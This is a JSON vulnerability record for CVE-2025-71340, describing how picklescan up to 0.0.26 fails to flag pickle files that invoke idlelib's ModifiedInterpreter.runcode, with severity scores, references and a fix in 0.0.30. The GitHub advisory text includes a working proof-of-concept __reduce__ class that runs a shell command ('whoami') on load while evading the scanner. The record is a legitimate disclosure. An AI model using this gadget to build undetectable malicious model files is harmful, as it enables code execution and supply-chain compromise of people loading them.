{"id":"CVE-2025-71340","aliases":["CVE-2025-71340","GHSA-3gf5-cxq9-w223"],"related":[],"kind":"vulnerability","state":"published","title":"picklescan - Remote Code Execution via idlelib.pyshell.ModifiedInterpreter.runcode","summary":"picklescan through 0.0.26 fails to detect malicious pickle files that invoke idlelib.pyshell.ModifiedInterpreter.runcode in __reduce__ methods. Attackers can embed undetected code in pickle files that executes arbitrary commands when the file is loaded via pickle.load(), enabling supply chain attacks on PyTorch models and saved Python objects. This is fixed in version 0.0.30.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"picklescan through 0.0.26 fails to detect malicious pickle files that invoke idlelib.pyshell.ModifiedInterpreter.runcode in __reduce__ methods. Attackers can embed undetected code in pickle files that executes arbitrary commands when the file is loaded via pickle.load(), enabling supply chain attacks on PyTorch models and saved Python objects. This is fixed in version 0.0.30.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nUsing idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\n\nfrom idlelib.pyshell import ModifiedInterpreter\nfrom types import SimpleNamespace\n\nclass EvilIdlelibPyshellModifiedInterpreterRuncode:\n    def __reduce__(self):\n        payload = \"__import__('os').system('whoami')\"\n        fake_self = SimpleNamespace(\n            locals={},\n            tkconsole=SimpleNamespace(\n                executing=False,\n                beginexecuting=str,\n                canceled=False,\n                closing=False,\n                showtraceback=str,\n                endexecuting=str,\n                stderr=None,\n                text=SimpleNamespace(),\n                getvar=str\n            ),\n            rpcclt=None,\n            debugger=None,\n            checklinecache=str,\n            active_seq=None,\n            showtraceback=str,\n            canceled=False,\n            closing=False\n        )\n        return ModifiedInterpreter.runcode, (fake_self, payload)\n\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu","format":"markdown","source":"ghsa"},{"lang":"es","text":"picklescan hasta la versión 0.0.26 falla en detectar archivos pickle maliciosos que invocan idlelib.pyshell.ModifiedInterpreter.runcode en métodos __reduce__. Los atacantes pueden incrustar código no detectado en archivos pickle que ejecuta comandos arbitrarios cuando el archivo es cargado a través de pickle.load(), lo que permite ataques a la cadena de suministro en modelos de PyTorch y objetos Python guardados. Esto está corregido en la versión 0.0.30.","source":"nvd"}],"published":"2025-08-26T21:37:48.000Z","modified":"2026-11-03T17:45:08.892Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":7.6,"rating":"HIGH"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":7.6,"rating":"HIGH"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","rating":"HIGH"}],"cwes":["CWE-502"],"affected":[{"ranges":[{"type":"semver","introduced":"0","lastAffected":"0.0.26","status":"affected"},{"type":"semver","version":"0.0.30","status":"unaffected"}],"vendor":"picklescan","product":"picklescan","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.0.30"}],"ecosystem":"PyPI","package":"picklescan","purl":"pkg:pypi/picklescan","source":"ghsa"}],"references":[{"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-3gf5-cxq9-w223","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-idlelib-pyshell-modifiedinterpreter-runcode","tags":["third-party-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71340","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/mmaitre314/picklescan","tags":["package"],"sources":["ghsa"]}],"credits":["FredericDT"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-06-26T13:40:42.281Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-71340","url":"https://www.cve.org/CVERecord?id=CVE-2025-71340","licence":"CVE Terms of Use","modified":"2026-06-26T13:41:04.662Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3gf5-cxq9-w223","url":"https://github.com/advisories/GHSA-3gf5-cxq9-w223","licence":"CC-BY-4.0","modified":"2026-11-03T17:45:08.892Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-71340","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71340","licence":"Public domain","modified":"2026-10-12T21:10:00.227Z"}],"updatedAt":"2026-11-25T22:59:12.355Z","epss":{"score":0.0038,"percentile":0.34096,"date":"2026-12-01T12:00:22.000Z"}}